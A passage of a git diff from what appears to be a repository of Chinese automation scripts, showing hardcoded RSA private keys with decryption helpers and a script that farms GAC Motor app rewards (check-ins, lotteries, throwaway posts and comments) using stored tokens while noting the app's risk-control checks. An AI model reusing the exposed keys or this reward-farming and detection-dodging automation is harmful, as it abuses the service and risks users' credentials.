"MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCaKMrIwU9els3xVszLtzvCJT+Kc8mosvygguXo0f+IqjSxvfCNbtobxIckxkBK7ipY8CK9k8WjcSsyIUd132CsGvFoUejD+sf+53wEy4z1YOgeoatll5/wMFGGZfDEyRbYd7WGTGPBZ6goENqplN5AJW6fIq8SskWZa59uq1E3Q9rM8iLg3n+955xvEb412vmTPsEWYL2qc6HUpEFxpXAg+CWjthYihZKkeOgQFr9LV3sB5bRAgtoXf/dnuWMK1jg4z7efaAxxNovQfRWXDEcgiRONmuS+l+M2y3YoPt1EFYSOZuU5GepuPPDFMxoLJ1CE2pk20ZUFIrgOisSICnkdAgMBAAECggEAKjVxEHadXLC9wo6ZlE2fNxErzKTXWjFnqiss+ApHhQvVUbVH3/GyFlhBCHifseR0A9X8LRwAyTd7NEaYYlW/CmB2KLIEoWRQziJjeoyhE65s37Y0T6SsTf9s0vembLsCXlKoiRTxW0seZ5n1xOjV0YpuN3Qvq1bUZ6VoCc0ud4rU09gDI8nDEkS0sBZbV8wVxpksoksX7YdpgJtqCMezOdnY9LqWiC0Y1km9szaNRr3X5rGTVJ+ZnTu2votXdKCMzVLXE/hm2eMRAk2droOzwKFLYlijZZg7m1SfNWlSCEelPKPRmv2RnoIGXn6EvqXLLT4zg4iOzh0dRrvT+BLloQKBgQD7b/x8aLfVvv5/dBFDN6exXpSY3gvsXhb3GhE/DO8dHRN1qcJt2ocriJEbZnD5F2DAQIT+DdG1Uihg9bTinDbhtilG1PdWQIqIcxRbMiJjtWIIEkTpFVnShZ4VNe56lseAAxAPG8z5Wzy25HiIUovnH5CiZiKesqRbkILjsrtiowKBgQCc9OpdmS38HSizOZ4Mieg3nkCm+OCZQAuIQqokALUC/Gb8sae2ZO6GGtdr6+Xo8B/WMlkmapNEFqSSE3xepjR9O1J9efvp3BJ2j/1UTO0NPlcm0lyijG3epqx8iaWJWF2wezs9w5qZtFUve/5um88ztbuhMNbgFdVIPGN9BoQxPwKBgQCCaqayvPpFkwicgU6G5/JCLMW0uM/EbVVKHCo/4uyP1EoIqOHhawzbhr2FUdBdU0Pq1ExnHjHc891f1XJabB6HWp30UHhuM5HnjpFLcCioQSe0+gzmPR3W9Vl2tP+adGTMQEpvG8Nov2sxjjX6t547ZoL1yTZBzHU1zTIm+sj5MwKBgAhcV3ui5DswxnE9mXirg+4qhOEgEr63FaYtfuiqDPpavZWqVPe3SqlkFqOODlIpMFj1l6AfPzb6ScvqM87K5bLiDRPYAp5DdcxRATqTWnFBJ91OiVazSkr47+k2X9YAGgWDmvVATSTw4TTFUxlLPW9Qt+zvMBMBtrnBVb9cMIB7AoGALNeRpqZKdjbvklQLMDnKyV7p9wuz669SX4LPODcMqf8q0wsL8/0jWTuyyePr8z+V/BI2SVHcT3CaBsmnNRU739DXLAcQ4R2d6Ak5zmmJrOcWl1QiQIcNZUp+fGEBTOl3YOxIFryGX15MocX6bE9JXj4k2L6P7XlfoLAme4801bI="; + crypt.setPrivateKey(privateKey); + var dec = crypt.decrypt(data); + //console.log(dec) + + //log(`解密数据${data}`) + return dec; +} +function getRSADecryptResult_android(data) { + window = {}; + let crypt = new JSEncrypt(); + let privateKey_android = + "MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvUb36V6lPOB5qmJkPzeThWN1v2+j0OYGxnnb9uaNeiMIWHk+bj0izkEzOsTwFacM9CEOKC5Oteg6dHz+M640nP1iC1aoWWeCIS7/GuKfM1xe1RnJ19gCw+yPpHiIWlltmFaINNdyF7YGh+siHex4/8/YTkQGuCRjJcynCAqfiLRkL8I5uBQUYj7SU8gWsuQSDa2OcH047cjcYRzrPYob/1q4TZgOe/jsj5n7b/a7xz/KwHWBEXeiLCQJCJQiKnvEaJ4LWq5NuKlB5+3EQoPOPw6CNtkT8Nz9B5peB2076TZDeFnjHqiG+Sk5KOpBizBtnifzXCXvFlcRQcWMXgsv/AgMBAAECggEAA1VMhVvxTh5FBcXM8y348gfcfenybeJCAvx+Sqii4IM9HWqKHO0GdtOBglSATaILIjfsAM3jiuLNMFONw8IetuZPan1hdHdU+4JlLQQJvK1COCIUvwVkUfkUX7RA9aj6J+C1agbiIHG5izjXYywGETU0Mn8JRyPJIttbqeKfCn/E8RIddw+TgPixweOjurWQt9hNA9fCe48/0xwadweCG4H+Dmv2kocCsSn6Vf0g3KSp0N0pVsxPHx67BjU3mW9rt4sv8gwt2PoxDJYhxbYWwj8WeRCDSSpYsTlskXLkh71VFKLg2fr/BrZgH9lMMdpSGO79mZcrP45O2pIS0MfkcQKBgQDZ3uiL+GgmhYI3+7pITAloFUVjkJISi9zbHxIlXK9r5sfQRxYIIyC76pmkLFlPD+Z2YnX4krWs1pWu4GhgXpE87VmoUpujj8o1MAxF2iXpLfLW6XB+iEU92n6gAo4VEZKHdzw0rR9hlfW9Q0oXPK2TtcN3iscePZTVt6rlGnIAxQKBgQDOAG9zOCwpqMpbmvw8R1qrWCkcXmW37AsB6MkZvEJIFvukmIh7/9rH63/pEzGN863O/o61XX3s7S/n8K+MGIfrc0uy0HeCU+OYDA3p6Nih8NhyfxZysT9JZvimx1KSiW00jeXgfF78nzUqQJYQIRUW2Ja+tOJzKSxnotuTLjrd8wKBgBmJuXR+v6aUS7lINoO29ftPUvziu1yVLGQ69iOPA7kAKjfNvVVi2LluPGg0Epvj3z3NOMrUV5tU4+LFxzZUn22m3LWQSVIYzrkBUs71TTBSBH8QifErBALGE8WpxwHNN4HNhi8eg+kqbM2sj4i9whLoYWsnx0NSMJoEl3GXcfmJAoGAU2XRuO+w0VzIL7XbD/xDNMMIQbflrkQdYLSBVa3ll5HWZphqCOlYBT/OFOn0UeepIffkhoBHDrgngNrr9uenfya6KrZC67xSk6etqljd+xGqTxAsYlpnqKvLVpmzUCfa0j/wJKW1PsilmWl0VytNgmZFAQfx9XVhyMMh6b/5jQkCgYEAh/xKMPs5j3yukWIhedqobq+AU+EyZ7ZKLBif9FZsWezEnUvtRYyOryH5gt3cgN7Ux0SAFvp1eqyoQnBv0O96LeSLKsyYyvJ8yKQweqpPATAiX5vOX/EfHPshVLlbxabKinG888+qb60eyV6S1E/7GvOU1ILI6l9WQPgOYKVpbGA="; + crypt.setPrivateKey(privateKey_android); + var dec = crypt.decrypt(data); + //log(`解密数据${data}`) + return dec; +} + +function AES_CBC_Decrypt(data, key, iv) { + key = CryptoJS.enc.Utf8.parse(key); + iv = CryptoJS.enc.Utf8.parse(iv); + var decrypted = CryptoJS.AES.decrypt(data, key, { + iv: iv, + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7, + }); + var decryptedData = decrypted.toString(CryptoJS.enc.Utf8); + try { + decryptedData = JSON.parse(decryptedData); + } catch (r) { + console.log("decrypt error:", r); + } + //console.log(decryptedData); + return decryptedData; +} + +/** + * 获取远程版本 + */ +async function getVersion(scriptUrl) { + let data = await $.getScript( + `https://ghproxy.com/https://raw.githubusercontent.com/${scriptUrl}` + ); + let regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/; + let match = data.match(regex); + scriptVersionLatest = match ? match[2] : ""; +} + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.com/https://raw.githubusercontent.com/smallfawn/Note/main/Notice.json`, + headers: { "User-Agent": "" }, + }, + result = await httpRequest(options); + if (!result || !("notice" in result)) { + options.url = `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`; + result = await httpRequest(options); + } + if (result && "notice" in result) { + DoubleLog(`${result.notice}`); + } + } catch (e) { + console.log(e); + } +} +async function hitokoto() { + // 随机一言 + try { + let options = { + url: "https://v1.hitokoto.cn/", + headers: {}, + }, + result = await httpRequest(options); + return result.hitokoto; + } catch (error) { + console.log(error); + } +} +// 双平台log输出 +function DoubleLog(data) { + if ($.isNode()) { + if (data) { + console.log(`${data}`); + msg += `\n${data}`; + } + } else { + console.log(`${data}`); + msg += `\n${data}`; + } +} +// 发送消息 +async function SendMsg(message) { + if (!message) return; + if (Notify > 0) { + if ($.isNode()) { + await notify.sendNotify($.name, message); + } else { + $.msg($.name, "", message); + } + } else { + console.log(message); + } +} + + +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise(s => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r }; this.post(n, (t, e, a) => s(a)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? "null" === i ? null : i || "{}" : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), a) } catch (e) { const i = {}; this.lodash_set(i, r, t), s = this.setval(JSON.stringify(i), a) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return this.data = this.loaddata(), this.data[t]; default: return this.data && this.data[t] || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0; default: return this.data && this.data[e] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { switch (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: a, statusCode: r, headers: i, rawBody: o } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch (t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then(t => { const { statusCode: s, statusCode: r, headers: i, rawBody: o } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), e += `${s}=${a}&`) } return e = e.substring(0, e.length - 1), e } msg(e = t, s = "", a = "", r) { const i = t => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); break; case "Node.js": this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) } } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; switch (this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } }(t, e) } diff --git a/脚本库/微信小程序/抓包版/广汽传祺/2025-06-28_gacmotor_a6c7c219.js b/脚本库/微信小程序/抓包版/广汽传祺/2025-06-28_gacmotor_a6c7c219.js new file mode 100644 index 0000000..8760867 --- /dev/null +++ b/脚本库/微信小程序/抓包版/广汽传祺/2025-06-28_gacmotor_a6c7c219.js @@ -0,0 +1,1416 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/gacmotor.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/gacmotor.js +// # Repo: jdqlscript/toulu +// # Path: gacmotor.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: a6c7c21986254d8b1bb981deb2cc482d063e770eb4f0b3dcd57f724419cf5b9d +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + *有问题联系3288588344 + *频道:https://pd.qq.com/s/672fku8ge + * cron 56 8 * * * gacmotor.js + * Show:广汽传祺 评论 分享(转发) 签到 发表文章 + * @author https://github.com/smallfawn/QLScriptPublic + * @tips 本脚本适用于广汽传祺5.0.0以上的版本 + * @update 2024/1/17 新增 广汽传祺年度报告抽奖 + * 文件内基本格式 [{"AT":"","RT":""},{"AT":"","RT":""}] 仓库( https://github.com/3288588344/toulu/blob/main/GacmotorCookies.json )里面有基本模板 使用前必须填写COOKIE + * 提供三种获取变量COOKIE方式 + * 1.手动抓https://next.gacmotor.com/app + * (refreshTokenn和accessToken 在登录时候抓包 https://next.gacmotor.com/app/app-api/sms/sendSmsCodeV2 响应里面) APP有效期都是7天 需要填写refreshToken来刷新COOKIE有效时间 + * 2.通过网页一键获取 https://gqcq.leafxxx.win/gqcq/login.html + * 变量示例 AT-11111-ASASASASASASASASASAS填入AT里面 RT-11111-BSBSBSBSBSBSBS填入RT里面 + * 开启发贴 gacmotorPost=false 默认关闭发表文章功能 true为开启(此功能存在风控检测,谨慎开启) 目前没适配 小心扣豆子 + * 开启评论 gacmotorComment=false 默认关闭评论功能 true为开启(此功能存在风控检测,谨慎开启) 目前没适配 小心扣豆子 + * 每日抽奖 gacmotorLuckyDram=1 抽奖次数[1-10] 不写默认抽奖一次(首次免费) 以后每次花费2G豆抽奖 每天上限10次 + * + */ +let GacmotorCookies = './GacmotorCookies.json';//指定文件目录 +const $ = new Env("广汽传祺"); +const notify = $.isNode() ? require('./sendNotify') : ''; +//const { updateEnv11, getEnvs, updateEnv } = require("./ql") +const appVersion = "5.1.12" +//let ckName = "gacmotorToken"; +//let envSplitor = ["@", "\n"]; //多账号分隔符 +let strSplitor = "#"; //多变量分隔符 +let userIdx = 0; +let userList = []; +const fs = require('fs'); +let TempAccount = []; + + +function ReadFiles(filename) { + let Fileexists = fs.existsSync(filename);//检测文件是否存在 + if (Fileexists) {//如果存在 + console.log("检测到广汽传祺GacmotorCookies.json,载入..."); + TempAccount = fs.readFileSync(filename, 'utf-8'); + if (TempAccount) { + TempAccount = TempAccount.toString(); + TempAccount = JSON.parse(TempAccount); + } + }else{ + console.log("未检测到广汽传祺GacmotorCookies.json..."); + } +} +async function writeFile(fileName, data) { + return new Promise((resolve, reject) => { + fs.writeFile(fileName, data, 'utf8', (err) => { + if (err) { + reject(err); // 如果写入操作出错,将错误传递给调用者 + return; + } + resolve(); // 写入操作成功,没有错误 + }); + }); +} +class UserInfo { + constructor(str) { + this.index = ++userIdx; + this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符 + this.refreshToken = str.split(strSplitor)[1]; //单账号多变量分隔符 + this.ckStatus = true; + this.deviceCode = ""; + this.registrationID = ""; + //this.mallToken = str.split(strSplitor)[2]; + this.signInStatus = false//默认签到状态false + this.userIdStr = "" + this.name = "" + this.GDouNum = "" + this.postList = []//自己 + this.applatestlist = []//最新帖子列表 + this.titleList = []// + this.contentList = []// + this.commentList = [] + this.BeiJingTime = "" + this.powerList = [] + this.mobile = [] + this.accessToken = [] + this.powerId = ""//助力ID + this.questionId = "" + this.userAnswerList = [] + this.answerIdList = [] + this.userAnswer = "" + this.questionTaskId = '' + this.luckyDrawNum = 0 //抽奖次数 + this.postNotFinishedNum = 0//发帖未完成次数 + this.commentNotFinishedNum = 0//评论未完成次数 + this.sharenNotFinishedNum = 0//转发未完成次数 + this.refreshStatus = false + this.commenttext = "" + this.signInCaptchaId = null + this.signInRequestId = null + this.lotteryRequestId = null + this.shareCaptchaId = null + this.shareRequestId = null + + } + async main() { + $.log(`==============开始第${this.index}个账号==============`) + await this._userInfo(); + + if (this.ckStatus == true) { + await this.mainTask() + } else { + if (this.refreshToken !== undefined) { + $.log(`尝试刷新TOKEN`) + await this._refreshToken() + if (this.refreshStatus) { + await this._userInfo(); + await this.mainTask() + } + } + } + + + + } + async mainTask() { + if (process.env["gacmotorLuckyDram"] == undefined) { + await this._luckyDrawNum()//获取抽奖次数 + if (this.luckyDrawNum > 1) { + await this._luckyDraw() + } + } else if (process.env["gacmotorLuckyDram"] && Number(process.env["gacmotorLuckyDram"]) !== NaN) { + if (process.env["gacmotorLuckyDram"] !== 0) { + if (Number(process.env["gacmotorLuckyDram"]) > 10) { + console.log(`每天最高抽10次哦`); + await this._luckyDrawNum()//获取抽奖次数 + if (this.luckyDrawNum < 10) { + for (let i = 0; i < this.luckyDrawNum; i++) { + $.wait(1000) + await this._luckyDraw() + $.wait(2000) + } + } else if (this.luckyDrawNum = 10) { + for (let index = 0; index < 10; index++) { + $.wait(1000) + await this._luckyDraw() + $.wait(2000) + } + } + + } else { + await this._luckyDrawNum()//获取抽奖次数 + if (this.luckyDrawNum < Number(process.env["gacmotorLuckyDram"])) { + for (let i = 0; i < this.luckyDrawNum; i++) { + $.wait(1000) + await this._luckyDraw() + $.wait(2000) + } + } else if (this.luckyDrawNum > Number(process.env["gacmotorLuckyDram"])) { + for (let index = 0; index < Number(process.env["gacmotorLuckyDram"]); index++) { + $.wait(1000) + await this._luckyDraw() + $.wait(2000) + } + } else if (this.luckyDrawNum == Number(process.env["gacmotorLuckyDram"])) { + for (let index = 0; index < Number(process.env["gacmotorLuckyDram"]); index++) { + $.wait(1000) + await this._luckyDraw() + $.wait(2000) + } + } + + } + } else { + + + } + + + } + await this._getGDou() + await this._signInStatus() + await this._signInCounts() + if (this.signInStatus == false) { + await this._signIn() + } + await this._taskList() + /*if (this.postNotFinishedNum !== 0 && this.postNotFinishedNum >= 1 || this.commentNotFinishedNum !== 0 && this.commentNotFinishedNum >= 1) { + if (process.env["gacmotorPost"] == "true" || process.env["gacmotorComment"] == "true") { + console.log(`正在远程获取15条随机评论~请等待15-20秒`) + await this._getText() + } + }*/ + + if (process.env["gacmotorPost"] == "true") { + + if (this.postNotFinishedNum !== 0 && this.postNotFinishedNum >= 1) { + console.log(`正在远程获取15条随机一言~请等待10-15秒`) + await this._getText() + await this._post(this.titleList[0], this.contentList[0])//可能需要图片 + console.log(`等待10s`) + await $.wait(10000) + await this._postlist() + for (let postId of this.postList) { + await this._delete(postId) + } + } + + } + await this._applatestlist() + if (this.sharenNotFinishedNum !== 0 && this.sharenNotFinishedNum >= 1) { + for (let postId of this.applatestlist) { + await this._forward(postId) + } + } + + if (process.env["gacmotorComment"] == "true") { + if (this.commentNotFinishedNum !== 0 && this.commentNotFinishedNum >= 1) { + this._getText1() + for (let postId of this.applatestlist) { + await this._add(postId, this.commenttext) + } + } + + } + + if (process.env["gacmotorComment"] == "true") { + if (this.commentNotFinishedNum !== 0 && this.commentNotFinishedNum >= 1) { + console.log(`等待10s`) + await $.wait(10000) + console.log(`检测评论列表`); + await this._commentlist() + if (this.commentList.length > 0) { + for (let commentId of this.commentList) { + await this._commentdelete(commentId) + } + } + } + + } + + //await this._activity_lotter_common({ "activityId": "531", "channel": "carapp_channel" }) + //await this._getChinaTime() + /*console.log(`11/26截止 Do - 广州车展活动 奖品活动结束后14日内发放`); + if (this.BeiJingTime < 1701014400000) { + //{"activityId":"467","channel":"carapp_channel"} + // await this._activity_lotter_common({ "activityId": "467", "channel": "carapp_channel" }) + }*/ + /*每天助力 gacmotorPower="" (抓这个需要手动做一次任务,我的-超级合伙人-每日任务-分享,微信自己点击自己分享的文章一次) +* 微信抓gmp.spgacmotorsc.com/partner/api-content/base/content/trafficStatistics? +* 后面的openId的值例如:oQzIW0jx-DbassAsaQgpGsasqXqCWI*/ + /*if (process.env["gacmotorPower"]) { + console.log(`已设置开启每日助力`); + await this._power_auth()//登录活动 获取accessToken + await this._power_list()//获取任务列表 + if (this.powerList.length > 0) { + for (let taskId of this.powerList) { + await this._join_power(taskId)//加入任务 + await this._get_power_id(taskId)//获取助力的utid + await $.wait(2000) + await this._share_power(taskId)//分享 + await $.wait(2000) + if (this.powerId !== "") { + await this._power(this.powerId) + } + } + } + }*/ + /*if (this.mallToken == undefined) { + this.mallToken = `DS-${this.ck}` + console.log(`执行答题&抽奖 并且尝试获取mallToken(如果不是WoolWeb获取的变量 可能执行失败)`); + //获取答题活动列表 + await this._question_list({ "activityId": 464 }) + if (this.questionTaskId !== "") { + //获取题目 + await this._question_info({ "activityId": 464, "taskId": this.questionTaskId, "userSubmit": false }) + //答题 + await this._submit_answer({ "activityId": 464, "taskId": this.questionTaskId, "userSubmitAnswerVoList": [{ "questionId": this.questionId, "userAnswer": this.userAnswer, "answerIdList": this.answerIdList }] }) + //抽奖 + let lotterId = "465" + if (this.questionTaskId == 8) { + lotterId = "484" + } else if (this.questionTaskId == 9) { + lotterId = "498" + } else if (this.questionTaskId == 10) { + lotterId = "511" + } else if (this.questionTaskId == 11) { + lotterId = "522" + } else if (this.questionTaskId == 12) { + lotterId = "523" + } + await this._activity_lotter_mall({ "activityId": lotterId, "channel": "wx_channel" }) + //console.log(`目测30天内自动到账`) + console.log(`请微信打开链接截查看中奖规则 https://mall.gacmotor.com/act/turntable?id=${lotterId}`); + console.log(`加客服的地址 https://mall.gacmotor.com/act/answer-activity?id=464`); + } else { + console.log(`本周答题完成或未到活动时间`); + } + }*/ + } + async _refreshToken() { + try { + let options = { + fn: "刷新token", + method: "post", + url: `https://next.gacmotor.com/app/app-api/login/refreshAt`, + headers: this._getHeaders("post"), + body: JSON.stringify({ refreshToken: this.refreshToken }) + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + $.log(`重置accessToken [${result.data.accessToken}] 重置refeshToken [${result.data.refreshToken}]`) + //调用青龙API + //change:2023/12/27 不再调用青龙API 选择修改文件方式 + //删除原变量 + //let originalValue = this.cookies + //let newValue = [result.data.accessToken, result.data.refreshToken] + TempAccount.forEach((TempAccount) => { + if (TempAccount.AT === this.ck) { + TempAccount.AT = result.data.accessToken; + TempAccount.RT = result.data.refreshToken; + } + }); + await writeFile(GacmotorCookies, JSON.stringify(TempAccount, null, 2)) + this.ck = result.data.accessToken + this.refreshStatus = true + + //console.log(arr); + /*if (this.mallToken !== undefined) { + newValue = `${result.data.accessToken}${strSplitor}${result.data.refreshToken}${strSplitor}${this.mallToken}` + } else { + newValue = 